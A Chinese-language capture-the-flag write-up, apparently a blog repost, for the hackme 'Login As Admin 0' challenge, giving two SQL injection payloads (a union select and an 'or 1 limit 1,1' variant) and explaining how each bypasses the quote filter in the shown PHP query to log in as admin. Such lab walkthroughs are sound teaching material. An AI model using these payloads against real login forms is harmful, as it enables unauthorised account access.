hackme_Login As Admin 0

先上payload, 再说原理

1、

Username:\' union select 1,1,1,1#

Password:a

2、

Username:\' or 1 limit1,1#

Password:a

下面是分析讲解:

首先,点击Source Code按钮查看源代码

可以得到以下信息:

1、过滤了单引号,可以用\'来绕过滤

2、user表中四个列:id,user,pass,is_admin

3、SQL语句:

$sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'", $_POST['name'], $_POST['password']);

4、Password不能为空

一、Payload1分析:

  我们的目的是以admin身份登录,那么服务器如何来判断我们是不是admin呢?

拉到最后来看:

可以看到,最重要的是就是is_admin这个字段,所以我们来进行变量覆盖注入(我自己取的名字、、请大佬指正)

padload提交后,提交的SQL语句是:

SELECT * FROM 'user' WHERE 'user' = '' union select 1,1,1,1 # AND `password` = 'a';

执行的是:

SELECT 1,1,1,1 FROM ’user‘;

那我们得到了一个$user的实例,其中最关键的就是第4个变量值是1

二、Payload2分析:

第二种其实也是老套路,我管他叫“限制查询注入”(自己取的名字、、请大佬指正)

首先构造Payload:

Username:\' or 1#

Password:a

  这句话提交上去相当于:

  SELECT * FROM 'user' WHERE 1

  显然,我们会得到整个user表。

  

  但是只有整张表的第一个会被验证,所以这个payload提交上去发现我们不是管理员而是guest,猜想admin应该是在下一条数据

  所以我们让offset=1,构造payload:

  Username:\' or 1 limit 1,1#

  Password:a

猜你喜欢

转载自www.cnblogs.com/huangming-zzz/p/9818486.html